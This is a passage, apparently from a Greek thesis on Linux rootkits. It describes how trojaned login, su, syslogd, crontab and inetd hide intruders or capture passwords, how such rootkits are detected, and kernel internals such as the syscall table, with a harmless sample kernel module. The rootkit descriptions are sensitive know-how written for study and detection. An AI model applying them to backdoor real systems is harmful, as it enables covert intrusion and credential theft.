Ο επιτιθέμενος μπορεί να προγραμματίσει την επαναλαμβανόμενη ή μη εκτέλεση
συγκεκριμένων διεργασιών στο παραβιασμένο σύστημα. Ο τρόπος με τον οποίο
αυτό επιτυγχάνεται στα συστήματα με λειτουργικό σύστημα Linux είναι μέσω της
εφαρμογής crontab. O επιτιθέμενος, αντικαθιστώντας την εφαρμογή αυτή με μια
τροποποιημένη, μπορεί να αποκρύψει τις προγραμματισμένες εργασίες του.

Μη καταγραφή σε αρχεία καταγραφής

Σχεδόν όλα τα γεγονότα τα οποία συμβαίνουν σε ένα σύστημα Linux, καταγράφον-
ται σε αρχεία καταγραφής τα οποία συνήθως βρίσκονται κάτω από τον κατάλογο
/var/log/. Ένας ειδικός δαίμονας είναι πάντα σε εκτέλεση και αναλαμβάνει τον
χειρισμό των αρχείων καταγραφής, τόσο για τρίτες εφαρμογές οι οποίες θέλουν
να αξιοποιήσουν τα αρχεία καταγραφής, όσο και για τον πυρήνα αιχμαλωτίζον-
τας και καταγράφοντας τα μηνύματα τα οποία αυτός στέλνει. Ο επιτιθέμενος, με
αλλαγή του εκτελέσιμου syslogd μπορεί να αποτρέπει την καταγραφή σε αρχεία
συγκεκριμένων μηνυμάτων κατά βούληση.

Προγράμματα-κερκόπορτες




30
                                                                   3.3. ΑΝΙΧΝΕΥΣΗ


 login    Η εντολή αυτή παλαιότερα εκτελούνταν για κάθε είσοδο χρήστη στο σύ-
          στημα. Συνήθως τροποποιούνταν με τρόπο τέτοιο ώστε να μην κατα-
          γράφει στα αρχεία καταγραφής τις εισόδους συγκεκριμένων χρηστών με
          βάση το όνομα χρήστη ή τη διεύθυνση δικτύου τους. Ένας ακόμα τρόπος
          κακόβουλης χρήσης της εντολής είναι κατάλληλη τροποποίησή της ώστε
          να καταγράφει σε αρχείο του επιτιθέμενου τα ονόματα χρήστη σε συν-
          δυασμό με τους κωδικούς άλλων χρηστών εν αγνοία τους.
 inetd    Το inetd ή xinetd χρησιμοποιείται για να εκκινεί δαίμονες προγραμ-
          μάτων τα οποία χρησιμοποιούν θύρες δικτύου στο σύστημα, όπως ένα
          πρόγραμμα διακομιστής ftp. Αρκετά από τα rootkits της κατηγορίας τα
          οποία αναλύσαμε χρησιμοποιούν το αρχείο ρυθμίσεων του προγράμμα-
          τος αυτού ώστε να εκτελείται αυτόματα το πρόγραμμα – κερκόπορτα το
          οποίο περιλαμβάνουν μόλις γίνει μια πρόσβαση σε συγκεκριμένη θύρα
          του συστήματος.
 su       Οι εντολές su, sudo, chfn, chsh και passwd επιτρέπουν αλλαγή στοιχεί-
          ων του λογαριασμού του χρήστη ή αλλαγή των δικαιωμάτων πρόσβασης
          στο σύστημα. Με κατάλληλη τροποποίησή τους, μπορούν να προγραμ-
          ματισθούν έτσι ώστε δίνοντας ο απλός χρήστης ένα συγκεκριμένο κωδικό
          ή όνομα, να μεταβαίνει σε κέλυφος διαχειριστή.




3.3 Ανίχνευση
Τα rootkits επιπέδου χρήστη έχουν αρκετές εγγενείς αδυναμίες οι οποίες τα κα-
θιστούν σχετικά αναξιόπιστα για τον επιτιθέμενο αφού επιτρέπουν τον σχετικά
εύκολο εντοπισμό τους. Οι αδυναμίες αυτές είναι:

   • Η αναβάθμιση των συστημάτων με λειτουργικό σύστημα Linux, η οποία πολ-
      λές φορές συνοδεύεται από μεταγλώττιση του πηγαίου κώδικα των εκτελέσι-
      μων αρχείων, προκαλεί την επανατοποθέτηση των “νόμιμων” αρχείων στην
      θέση αυτών τα οποία έχουν αντικατασταθεί, και έτσι ο κακόβουλος χρήστης
      χάνει την πρόσβαση του στο σύστημα ή την κάλυψή του.

   • Είναι πολύ εύκολο να αντλήσει κανείς τις ίδιες πληροφορίες από πολλές
      πηγές στο σύστημα. Για παράδειγμα, η λίστα με τα αρχεία ενός καταλόγου,
      μπορεί να βρεθεί είτε μέσω της εντολής ls είτε μέσω της εντολής find είτε

                                                                             31
ΚΕΦΑΛΑΙΟ 3. ROOTKITS ΕΠΙΠΕΔΟΥ ΧΡΗΣΤΗ


      μέσω της grep -r ή ακόμη και με την εντολή echo *. Αντίστοιχα θέματα
      υπάρχουν και στην εμφάνιση των συνδέσεων δικτύου οι οποίες είναι ενεργές.
      Ο εισβολέας πρέπει να είναι πολύ προσεκτικός και να έχει βαθειά γνώση του
      συστήματος ώστε να μπορέσει να αντικαταστήσει όλα τα εκτελέσιμα τα οποία
      θα μπορούσαν να αποκαλύψουν τη διαφορά στα αποτελέσματα.

     • Τελικώς, σε ένα ασφαλές υπολογιστικό περιβάλλον, μπορεί να δημιουργηθεί
      ένα κρυπτογραφικό άθροισμα ελέγχου (checksum), το οποίο είναι μοναδικό
      για κάθε αρχείο. Χρησιμοποιώντας μια επικαιροποιημένη λίστα των αθροι-
      σμάτων ελέγχου μπορεί να γίνει έλεγχος του συστήματος οποιαδήποτε στιγμή
      και έτσι να αποκαλυφθεί η αντικατάσταση αρχείων.

     Οι επιτιθέμενοι, για την επίλυση των παραπάνω προβλημάτων, εξέλιξαν τα
rootkits με σκοπό την μέγιστη δυνατή παραφθορά και αλλοίωση του συστήμα-
τος με την ελάχιστη δυνατή προσπάθεια και αντικατάσταση αρχείων. Έτσι ανα-
πτύχθηκαν τα rootkits τα οποία κάνουν χρήση βιβλιοθηκών του συστήματος, τα
οποία παρουσιάσαμε στην παράγραφο 2.4.2, και τα rootkits τα οποία χρησιμο-
ποιούν τον πυρήνα του συστήματος, τα οποία αναλύονται στο κεφάλαιο 4.




32
                               Rootkits επιπέδου πυρήνα
                                                                    4
Στο κεφάλαιο 3 αναφέραμε ότι οι πρώτες γενιές rootkit είχαν εγγενείς αδυναμίες,
τις οποίες οι επιτιθέμενοι αντιμετώπισαν με εξέλιξη των κακόβουλων προγραμ-
μάτων προς την κατεύθυνση της μέγιστης δυνατής αλλοίωσης του συστήματος σε
συνδυασμό με την ελάχιστη παρέμβαση και προσπάθεια. Το σκεπτικό αυτό μετα-
φέρθηκε μέχρι τον τελευταίο πόρο του συστήματος, τον πυρήνα του λειτουργικού
συστήματος Linux.
      Μια εισαγωγή στα rootkits τα οποία εκτελούνται σε περιβάλλον πυρήνα έγινε
στην παράγραφο 2.4.3. Στο κεφάλαιο αυτό θα τα εξετάσουμε αναλυτικότερα. Στην
πρώτη ενότητα του κεφαλαίου παρουσιάζουμε τα χαρακτηριστικά και κάποιες από
τις δομές του πυρήνα σχετικές με τις τεχνολογίες αλλοίωσης αλλά και ανίχνευσης
των rootkits. Στη δεύτερη ενότητα παρουσιάζουμε κωδικοποιημένα τις τεχνικές
και μεθόδους οι οποίες χρησιμοποιούνται από τα rootkits για την αλλοίωση δομών
του πυρήνα, ενώ στην τρίτη ενότητα παρουσιάζουμε τις τεχνικές ανίχνευσης.



4.1 Ο πυρήνας του λειτουργικού συστήματος Linux
O πυρήνας του λειτουργικού συστήματος Linux, είναι ένας πυρήνας ανοιχτού
κώδικα βασισμένος στο Unix ο οποίος δημιουργήθηκε αρχικά από τον Linux
Tornvalds το 1991. Από τεχνικής άποψης, οι κύριες ιδιότητες του μοντέρνου πυ-
ρήνα του Linux είναι η μονολιθική του αρχιτεκτονική1 η οποία περιλαμβάνει υ-
ποστήριξή για αρθρώματα (modules) όπως υποστήριξη για πολλά συστήματα αρ-
χείων, και το ελαφρύ πολυνηματικό μοντέλο διεργασιών υλοποιημένο πάνω σε
αρχιτεκτονική χρονοπρογραμματισμού χωρίς διακοπές. Ακόμη το ο πυρήνας, και
  1
      http://www.dina.kvl.dk/~abraham/Linus_vs_Tanenbaum.html


                                                                            33
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


άρα και το λειτουργικό σύστημα Linux είναι πολυχρηστικό, πολυεπεξεργαστικό
και λειτουργεί σε πολλές πλατφόρμες.
   Ο πυρήνας είναι το στοιχείο εκείνο του λειτουργικό το οποίο είναι υπεύθυνο
για την διαχείριση του υλικού του συστήματος. Εκτελεί πολλές εργασίες:

Διαχείριση μνήμης. Ελέγχει το υποσύστημα εικονικής και πραγματικής μνήμης
      και τις δυνατότητες swapping. Η διαχείριση κρυφών μνημών του πυρήνα
      είναι κρίσιμη για τις επιδόσεις του συστήματος

Διαχείριση διεργασιών. Αναλαμβάνει τις μεταβάσεις μεταξύ των δύο τρόπων ε-
      κτέλεσης εντολών (επίπεδο χρήστη και επίπεδο πυρήνα), υλοποιεί το μο-
      ντέλο επικοινωνίας διεργασιών μέσω σημάτων και άλλους εσωτερικούς μη-
      χανισμούς επικοινωνίας των διεργασιών (IPC).

Προγράμματα ελέγχου συσκευών. Είναι υπεύθυνα για την αλληλεπίδραση με
      κάθε στοιχείο του υλικού του συστήματος. Ο πυρήνας πρέπει να συγχρονίζει
      όλες τις διακοπές (interrupts) που λαμβάνει από όλα τα μέρη του συστήμα-
      τος.

Στοίβες δικτύου. Υλοποιεί όλα τα πρωτόκολλα δικτύου, κυρίως το μοντέλο
      TCP/IP από το φυσικό επίπεδο (layer 1) μέχρι το επίπεδο 4 (TCP/UDP).

   Έτσι ο πυρήνας είναι πλήρως εξαρτημένος από το υλικό ώστε να μπορεί να α-
ξιοποιήσει τις διαθέσιμες δυνατότητες του υλικού. Το μεγαλύτερο μέρος του κώδι-
κα του πυρήνα είναι γραμμένο στη γλώσσα προγραμματισμού C, αλλά υπάρχει
και ένα κομμάτι εξειδικευμένο για τον κάθε επεξεργαστή, γραμμένο σε γλώσσα
Assembly (Intel x86).
   Το Linux έχει το πλεονέκτημα να μπορεί να επεκτείνει τις δυνατότητες που
προσφέρει ο πυρήνας κατά τον χρόνο εκτέλεσης, δηλαδή νέες δυνατότητες μπο-
ρούν να προστεθούν στο σύστημα εν ώρα λειτουργίας. Τα κομμάτια κώδικα τα
οποία μπορούν να προστεθούν στον πυρήνα είναι γνωστά σαν αρθρώματα πυρήνα
(Loadable Kernel Modules - LKMs).


4.1.1 Επίπεδο χρήστη και πυρήνα
Στόχος του λειτουργικού συστήματος και έτσι και του πυρήνα είναι να παρέχει
μια συνεπή όψη του υλικού του συστήματος στον χρήστη. Πρέπει να είναι σε θέση
να διαχειρίζεται τα κρίσιμα στοιχεία όπως ο επεξεργαστής, η μνήμη, οι διεπαφές
εισόδου εξόδου και όλα τα υποσυστήματα όπως η εικονική μνήμη, ταυτόχρονα

34
                                          4.1. Ο ΠΥΡΗΝΑΣ ΤΟΥ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ LINUX


όμως πρέπει να προστατεύει αυτούς τους πόρους. Για να γίνει αυτό εφικτό οι ε-
πεξεργαστές υλοποιούν ένα σύστημα πολλαπλών επιπέδων πρόσβασης αναφορικά
με τα προνόμια, ορίζοντας τι δυνατότητες είναι διαθέσιμες σε κάθε επίπεδο. Αν
και οι επεξεργαστές τυπικά διαθέτουν 4 τέτοια επίπεδα, τα μοντέρνα λειτουργικά
συστήματα αξιοποιούν και χρησιμοποιούν δύο:

Επίπεδο προνομίων χρήστη (CPL 3):         2   Το κατώτατο επίπεδο προνομίων, το ο-
        ποίο είναι συσχετισμένο με την εκτέλεση διεργασιών χρήστη. Σε αυτό το επί-
        πεδο υπάρχουν περιορισμοί στην πρόσβαση στο υλικό του συστήματος και
        σε ορισμένες περιοχές της μνήμης. Ο χώρος μνήμης που είναι διαθέσιμος
        σε μία διεργασία χρήστη είναι περιορισμένος στους χάρτες μνήμης της διερ-
        γασίας αυτής.

Επίπεδο προνομίων πυρήνα (CPL 0): Το ανώτερο επίπεδο προνομίων. Σε αυτό
        το επίπεδο τα πάντα είναι επιτρεπτά, δεν υπάρχουν περιορισμοί. Ο κώδικας
        του πυρήνα εκτελείται σε αυτό το επίπεδο.




Σχήμα 4.1: Το σχήμα αυτό δείχνει την πολυεπίπεδη αρχιτεκτονική των μοντέρνων
επεξεργαστών, με τα λειτουργικά συστήματα να εκμεταλλεύονται το χαμηλότερο
και το υψηλότερο επίπεδο

      Οι μόνοι τρόποι για να γίνουν μεταβάσεις από το ένα επίπεδο στο άλλο είναι
μέσα από τις ακόλουθες μεθόδους:
  2
      CPL: Current Privilege Level


                                                                                     35
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


Κλήσεις συστήματος (System Calls ή syscalls): Είναι δημόσια ορισμένες συ-
      ναρτήσεις του πυρήνα τις οποίες τα προγράμματα χρήστη μπορούν να χρησι-
      μοποιήσουν για να ζητήσουν κάποια υπηρεσία του πυρήνα, όπως το άνοιγμα
      ενός αρχείου (μέσω της κλήσεως sys_open).

Διακοπές υλικού (hardware interrupts): Είναι σήματα παραγόμενα από περι-
      φερειακές συσκευές του συστήματος τα οποία υποδεικνύουν στον επεξεργα-
      στή μία ειδική κατάσταση, όπως ότι μια κάρτα δικτύου έχει πληροφορίες
      προς επεξεργασία στην προσωρινή της μνήμη. Ο κώδικας που χειρίζεται τις
      διακοπές δεν είναι συσχετισμένος με κάποια διεργασία.

Εξαίρεση του επεξεργαστή. Ο επεξεργαστής μπορεί να δημιουργήσει μία εξαί-
      ρεση κατά την εκτέλεση κάποιας διεργασίας χρήστη, όπως όταν συναντήσει
      μία λανθασμένη εντολή. Ο πυρήνας πρέπει να επέμβει ώστε να χειριστεί την
      εξαίρεση έτσι ώστε να συνεχίσει η λειτουργία του συστήματος.

   Ο χώρος διευθύνσεων του πυρήνα ορίζεται στον γενικό πίνακα περιγραφέων
(Global Descriptor Table - GDT) και αντιστοιχίζεται στον χώρο διευθύνσεων της
κάθε διεργασίας, έτσι ώστε οι διεργασίες να μπορούν να έχουν πρόσβαση στις
δημόσιες συναρτήσεις του πυρήνα. Ο χώρος διευθύνσεων του χρήστη ορίζεται στον
τοπικό πίνακα περιγραφέων (Local Descriptor Table - LDT) και είναι υπάρχει για
κάθε διεργασία. Το μοντέλο αυτό εξασφαλίζει ότι ένα πρόγραμμα δεν μπορεί να
τροποποιήσει τον χώρο του πυρήνα καθώς ανήκει σε διαφορετικό επίπεδο (ring).


4.1.2 Κλήσεις Συστήματος
Οι κλήσεις συστήματος παρέχουν στις διεργασίες χρήστη ένα τρόπο ώστε να ζητή-
σουν υπηρεσίες από τον πυρήνα, όπως πρόσβαση σε αποθηκευτικό χώρο, στη μνήμη,
στο δίκτυο.
   Οι κλήσεις συστήματος όπως αναφέραμε είναι οι πύλες για την μετάβαση από
επίπεδο χρήστη σε επίπεδο πυρήνα. Πως ακριβώς όμως γίνεται αυτή η μετάβαση;
   Οι διεργασίες χρήστη ζητάνε παροχή υπηρεσιών από τον πυρήνα μέσω
των κλήσεων συστήματος. Η λίστα με τις υπηρεσίες, και άρα τις κλήσεις
συστήματος βρίσκεται στο αρχείο “/usr/include/sys/syscall.h” το οποί-
ο με τη σειρά του περιλαμβάνει τα αρχεία “/usr/include/asm/unistd.h”
και “/usr/include/bits/syscall.h”. Το πρώτο εξ’ αυτών περιέχει τους ο-
ρισμούς όλων των αριθμών των κλήσεων συστήματος. Οι αριθμοί είναι χωρι-
σμένοι σε δύο διαφορετικά αρχεία για 32bit ή 64bit αρχιτεκτονική συστήματος, τα

36
                                          4.1. Ο ΠΥΡΗΝΑΣ ΤΟΥ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ LINUX


“/usr/include/asm-x86_64/unistd.h” και “/usr/include/asm-i486/unistd.h”
αντίστοιχα. Το αρχείο “/usr/include/bits/syscall.h” περιέχει τον παραδο-
σιακό ορισμό ονομάτων της μορφής SYS_<όνομα> για τις κλήσεις συστήματος.
Κάθε κλήση αντιστοιχεί σε ένα μοναδικό αριθμό και ένα παραδοσιακό όνομα, ενώ
το κανονικό της όνομα είναι της μορφής __NR_<όνομα>.
#define   __NR_restart_syscall   0
#define   __NR_exit              1
#define   __NR_fork              2
#define   __NR_read              3
#define   __NR_write             4
#define   __NR_open              5
#define   __NR_close             6
#define   __NR_waitpid           7
#define   __NR_creat             8
#define   __NR_link              9
#define   __NR_unlink            10
#define   __NR_execve            11

Απόσπασμα των περιεχομένων του αρχείου /usr/include/asm-i486/unistd.h

#define   SYS__llseek       __NR__llseek
#define   SYS__newselect    __NR__newselect
#define   SYS__sysctl       __NR__sysctl
#define   SYS_access        __NR_access
#define   SYS_acct          __NR_acct
#define   SYS_add_key       __NR_add_key
#define   SYS_adjtimex      __NR_adjtimex
#define   SYS_afs_syscall   __NR_afs_syscall
#define   SYS_alarm         __NR_alarm
#define   SYS_bdflush       __NR_bdflush
#define   SYS_break         __NR_break
#define   SYS_brk           __NR_brk
#define   SYS_capget        __NR_capget
#define   SYS_capset        __NR_capset
#define   SYS_chdir         __NR_chdir

 Απόσπασμα των περιεχομένων του αρχείου /usr/include/bits/syscall.h

   Η τυπική περίπτωση είναι η κλήση των κλήσεων συστήματος να μην γίνεται
απευθείας από τη διεργασία χρήστη αλλά μέσα από συναρτήσεις της γενικής βι-
βλιοθήκης libc (wrapper functions). Για παράδειγμα, η συνάρτηση επιπέδου
χρήστη fopen() της βασικής βιβλιοθήκης καλεί την sys_open κλήση συστήμα-
τος σε επίπεδο πυρήνα. Κατά τη διάρκεια μιας κλήσης συστήματος, ένα κομμάτι

                                                                                     37
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


κώδικα πυρήνα εκτελείται εκ μέρους μιας διεργασίας χρήστη. Ο κώδικας αυτός
εκτελείται με προνόμια πυρήνα (CPL0). Όλες οι διεργασίες χρήστη εκτελούνται με
προνόμια χρήστη (CPL3), και άρα για να υλοποιηθεί ένας μηχανισμός κλήσεων
συστήματος, χρειάζονται 1) ένας τρόπος να κληθεί κώδικας CPL0 από το επίπεδο
CPL3 και 2) ένα κομμάτι κώδικα πυρήνα το οποίο θα εκτελέσει την αίτηση της
διεργασίας χρήστη.
   Στο λειτουργικό σύστημα Linux οι κλήσεις συστήματος είναι υλοποιημένες με
δύο τρόπους.
   Ο πρώτος, και παλαιότερος, τρόπος είναι μέσω μίας συγκεκριμένης διακοπής
λογισμικού (software interrupt), της 0x80. Μία διεργασία χρήστη, για να εκτε-
λεστεί μια συγκεκριμένη κλήση συστήματος, αποθηκεύει τον αριθμό της κλή-
σης στον καταχωρητή %eax και έπειτα εκτελεί την εντολή συμβολομεταφραστή
(assembler) int      0x80. Η εντολή αυτή θα παράγει την διακοπή λογισμικού
με αριθμό 0x80. Ο επεξεργαστής θα λάβει το σήμα της διακοπής και ο πυρή-
νας θα εκτελέσει την αρμόδια ρουτίνα χειρισμού διακοπής (interrupt handling
routine). Για την συγκεκριμένη διακοπή η αρμόδια ρουτίνα είναι η συνάρτηση
system_call(). Η συνάρτηση αποθηκεύει την κατάσταση του συστήματος και
καλεί με τη σειρά της την κατάλληλη ρουτίνα χειρισμού της κλήσης συστήματος,
σύμφωνα με τον αριθμό που έχει αποθηκεύει στον καταχωρητή %eax, μέσω του
μηχανισμού του πίνακα κλήσεων συστήματος.


Ο πίνακας κλήσεων συστήματος

Ο πίνακας κλήσεων συστήματος είναι μια πολύ κρίσιμη δομή την οποία στοχεύει
η μεγάλη πλειοψηφία των rootkits που εξετάζουμε, όπως θα δούμε στην συνέχεια
στο κεφάλαιο 4.
   O αριθμός της κλήσης συστήματος ο οποίος είναι αποθηκευμένος στον κατα-
χωρητή %eax δρα ως δείκτης σε έναν πίνακα ο οποίος περιέχει όλες τις κλήσεις
συστήματος. Ο πίνακας ορίζεται με τη δομή sys_call_table[] του πυρήνα και
είναι ο γνωστός Πίνακας Κλήσεων Συστήματος (System Call Table). Περιέχει μία
ομάδα δεικτών στις συναρτήσεις οι οποίες υλοποιούν τις διάφορες κλήσεις συ-
στήματος στην μνήμη του πυρήνα. Μόλις γίνει η πρόσβαση στη δομή αυτή, το
περιεχόμενο του καταχωρητή %eax χρησιμοποιείται σαν δείκτης στον πίνακα και
έτσι το σύστημα αποκτά γνώση της διεύθυνσης στην οποία μπορεί να βρεθεί η
καλούμενη συνάρτηση. Οι τυχόν παράμετροι που χρειάζονται για την κλήση της
κλήσης συστήματος, σε περίπτωση που είναι λιγότερες από 5 περνάνε στον χώρο

38
                          4.1. Ο ΠΥΡΗΝΑΣ ΤΟΥ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ LINUX




Σχήμα 4.2: Η λειτουργία του πίνακα κλήσεων συστήματος




                                                                     39
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


πυρήνα μέσω άλλων καταχωρητών, ενώ αν είναι περισσότερες μέσω της στοίβας.
Μόλις κάποια κλήση συστήματος ολοκληρωθεί, η τιμή την οποία επιστρέφει απο-
θηκεύεται στον καταχωρητή %eax από όπου μπορεί να την λάβει το πρόγραμμα
χρήστη.
     Έχει     ενδιαφέρον        η      παράθεση    αποσπάσματος      του    κώδι-
κα     της    ρουτίνας      system_call()    η    οποία   ορίζεται   στο   αρχείο
/usr/src/linux/arch/i386/kernel/entry.S
ENTRY(system_call)
        RING0_INT_FRAME
        pushl %eax                      # save orig_eax
        CFI_ADJUST_CFA_OFFSET 4
        SAVE_ALL      # save environment
        GET_THREAD_INFO(%ebp)
        testl $TF_MASK,EFLAGS(%esp)
        jz no_singlestep
        orl $_TIF_SINGLESTEP,TI_flags(%ebp)
no_singlestep:
        testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP \
                                |_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
        jnz syscall_trace_entry
        cmpl $(nr_syscalls), %eax
        jae syscall_badsys
syscall_call:
        call *sys_call_table(,%eax,4)
        movl %eax,EAX(%esp)             # store the return value




Σχήμα 4.3: Σχηματική απεικόνιση της ροής εκτέλεσης μιας κλήσης συστήματος


40
                                      4.1. Ο ΠΥΡΗΝΑΣ ΤΟΥ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ LINUX




Σχήμα 4.4: Σχηματική απεικόνιση της ροής εκτέλεσης μιας κλήσης συστήματος
(2)


   Ανακαλύφθηκε ότι η παραπάνω μέθοδος είναι εξαιρετικά δαπανηρή σε χρόνο
στους επεξεργαστές Pentium IV. Για την επίλυση του ζητήματος, στην έκδοση 2.5
του πυρήνα του Linux παρουσιάστηκε ένας νέος μηχανισμός υλοποίησης μιας
κλήσης συστήματος για τους επεξεργαστές Intel Pentium II+. Εξαιτίας προβλη-
μάτων απόδοσης των επεξεργαστών Intel Pentium IV με την παραπάνω μέθοδο,
υλοποιήθηκε ένας εναλλακτικός μηχανισμός ο οποίος κάνει χρήστη των εντολών
επεξεργαστή SYSENTER/SYSEXIT οι οποίες είναι διαθέσιμες στους επεξεργαστές
Intel Pentium II+. Οι εντολές αυτές είναι κατασκευασμένες με σκοπό τη γρήγορη
μετάβαση σε κατάσταση CPL 0 και έξοδο από αυτή, χωρίς την ανάγκη δημιουργίας
διακοπής λογισμικού.



4.1.3 Αρθρώματα πυρήνα
Ο πυρήνας του λειτουργικού συστήματος Linux υποστηρίζει την επέκταση του
εκτελέσιμου κώδικά του μέσω των αρθρωμάτων πυρήνα. Μία από τις πιο εν-
διαφέρουσες πλευρές των δυναμικά φορτώσιμων αρθρωμάτων πυρήνα (loadable
kernel modules - LKMs) είναι ότι παρέχουν την ευελιξία των μικρο-πυρήνων
(microkernels) χωρίς την αντίστοιχη ποινή στην απόδοση. Ο πυρήνας του Linux
παρέχει υποστήριξη σε διαφορετικούς τύπους υποσυστημάτων βασιζόμενος στη

                                                                                  41
    ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


    λειτουργικότητα που προσφέρουν. Τα υποσυστήματα αυτά είναι συνήθως υλοποι-
    ημένα σαν αρθρώματα και εκτελούν λειτουργίες όπως η διαχείριση διεργασιών,
    η διαχείριση μνήμης, ο έλεγχος συσκευών υλικού, τα συστήματα αρχείων ή η
    πρόσβαση σε δίκτυο. Oι υλοποιημένοι σαν αρθρώματα πυρήνα οδηγοί συσκευών
    είναι ένα από τα σημαντικότερα κομμάτια της καρδιάς του Linux επειδή παρέχουν
    υποστήριξη για τα στοιχεία υλικού του συστήματος. Οι οδηγοί αυτοί θα μπορού-
    σαν να είναι υλοποιημένοι στον κυρίως κώδικα του μονολιθικού πυρήνα, αλλά
    με αυτό τον τρόπο θα υπήρχε μικρότερη ευελιξία. Παρόλα αυτά, σε κάποια στοι-
    χεία αντιστοιχεί κώδικας πυρήνα ο οποίος είναι απαραίτητο να συνδεθεί στατικά
    και όχι δυναμικά με την μορφή αρθρωμάτων. Τέτοιες περιπτώσεις είναι στοιχεία
    τα οποία απαιτούν μια τροποποίηση κάποιας δομής ή συνάρτησης η οποία είναι
    στατικά συνδεδεμένη στον πυρήνα, όπως μια αλλαγή του περιγραφέα διεργασίας.
         Ο πυρήνας εκτελεί δυο σημαντικές λειτουργίες αναφορικά με την διαχείριση
    των αρθρωμάτων. Η πρώτη είναι η εξακρίβωση και επιβεβαίωση ότι ο πυρήνας
    μπορεί έχει πρόσβαση στα καθολικά σύμβολα του αρθρώματος. όπως το σημείο
    εισόδου στην κυρίως συνάρτησή του. Το άρθρωμα θα πρέπει επίσης να γνωρίζει τις
    διευθύνσεις των συμβόλων στον πυρήνα και σε άλλα αρθρώματα. Έτσι, οι αναφο-
    ρές μεταφράζονται μία για πάντα με την εισαγωγή του αρθρώματος στον πυρήνα.
    Η δεύτερη λειτουργία είναι η παρακολούθηση της χρήσης των αρθρωμάτων, έτσι
    ώστε ένα άρθρωμα να μην επιτρέπεται να αποφορτωθεί σε περίπτωση που είναι
    χρησιμοποιείται από άλλο μέρος του κώδικα του πυρήνα ή από άλλο άρθρωμα.
         Κάθε άρθρωμα πυρήνα είναι ένα αντικειμενικό αρχείο (τύπου ELF[21]) το οποίο
    μπορεί να συνδεθεί δυναμικά με τον πυρήνα ο οποίος είναι σε λειτουργία μέσω του
    εργαλείου insmod. Τα αντικειμενικά αρχεία δεν έχουν περάσει από τη διαδικασία
    της σύνδεσης ώστε να προκύψουν πλήρως εκτελέσιμα αρχεία, επειδή πρέπει να
    έχουν ένα συγκεκριμένο χαρακτηριστικό: να είναι μεταθέσιμα (relocatable). Το
    χαρακτηριστικό αυτό προκύπτει από το γεγονός ότι πρέπει τα ίδια αρχεία να μπο-
    ρούν να εγκατασταθούν στο σύστημα σε οποιαδήποτε χρονική στιγμή, κατά την
    οποία η κατάσταση του συστήματος και της μνήμης θα είναι άγνωστη. Σε περί-
    πτωση ολοκλήρωσης της διαδικασίας σύνδεσης, δεν θα ήταν εφικτό το παραπάνω.

    Απλό άρθρωμα πυρήνα

    Παρακάτω παραθέτουμε κώδικα για ένα απλό τυπικό άρθρωμα πυρήνα, για έκ-
    δοση πυρήνα 2.6.
    #include <linux/init.h>
2   #include <linux/module.h>


    42
                                            4.1. Ο ΠΥΡΗΝΑΣ ΤΟΥ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ LINUX


     MODULE_LICENSE(”GPL”);
4    static int hello_init(void){
       printk(KERN_ALERT ”Eisodos tou module\n”);
6      return 0;
     }
8    static void hello_exit(void){
       printk(KERN_ALERT ”Eksodos tou module\n”);
10   }
     module_init(hello_init);
12   module_exit(hello_exit);

                     Απόσπασμα κώδικα 4.1: Απλό άρθρωμα πυρήνα


        Το παραπάνω απλό άρθρωμα το μόνο που κάνει είναι να εκτυπώνει ένα μήνυ-
     μα στο αρχείο καταγραφής του συστήματος κατά την εισαγωγή και εξαγωγή του
     αρθρώματος στον πυρήνα. Για την λειτουργία αυτή χρησιμοποιεί την συνάρτη-
     ση printk(), η οποία είναι η αντίστοιχη της μη διαθέσιμης σε επίπεδο πυρήνα
     printf() της βασικής βιβλιοθήκης. Μπορούμε να παρατηρήσουμε άλλα βασικά
     χαρακτηριστικά ενός τυπικού αρθρώματος, όπως η συνάρτηση module_init() η
     οποία πάντα υπάρχει και εκτελείται κατά την φόρτωση του αρθρώματος, και αν-
     τίστοιχα η module_exit() η οποία εκτελείται κατά την αποφόρτωση. Όπως ένα
     πρόγραμμα χρήστη μπορεί να κάνει χρήση κώδικα τον οποίο δεν υλοποιεί, όπως
     χρήση συναρτήσεων ορισμένων σε βιβλιοθήκες, αντίστοιχα τα αρθρώματα μπορούν
     να κάνουν χρήση κώδικα του πυρήνα. Τα προγράμματα χρήστη, για να το επιτύ-
     χουν αυτό, περνάν από το στάδιο της σύνδεσης, όπου ένα προγράμματα συνδέτης
     (ld) αναλαμβάνει να τα συνδέσει με τις βιβλιοθήκες και να μεταφράσει τις εξωτε-
     ρικές αναφορές σε μεταβλητές και συναρτήσεις. Ένα άρθρωμα πυρήνα συνδέεται
     μονάχα με τον πυρήνα, δεν χρησιμοποιεί εξωτερικές βιβλιοθήκες.
        Για την μεταγλώττιση των αρχείων κώδικα αρθρώματος χρησιμοποιείται το α-
     κόλουθο σενάριο παραγωγής (Makefile)

     default: all
 2   KERNELDIR ?= /lib/modules/$(shell uname -r)/build
     PWD = $(shell pwd)
4

     obj-m += mymodule.o
6

     all:
8             $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
     clean:


                                                                                       43
     ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


10             $(MAKE) -C $(KERNELDIR) M=$(PWD) clean

     Απόσπασμα κώδικα 4.2: Τυπικό σενάριο παραγωγής, όπου mymodule το όνομα
     αρχείου του αρθρώματος



     Άδειες χρήσης αρθρωμάτων

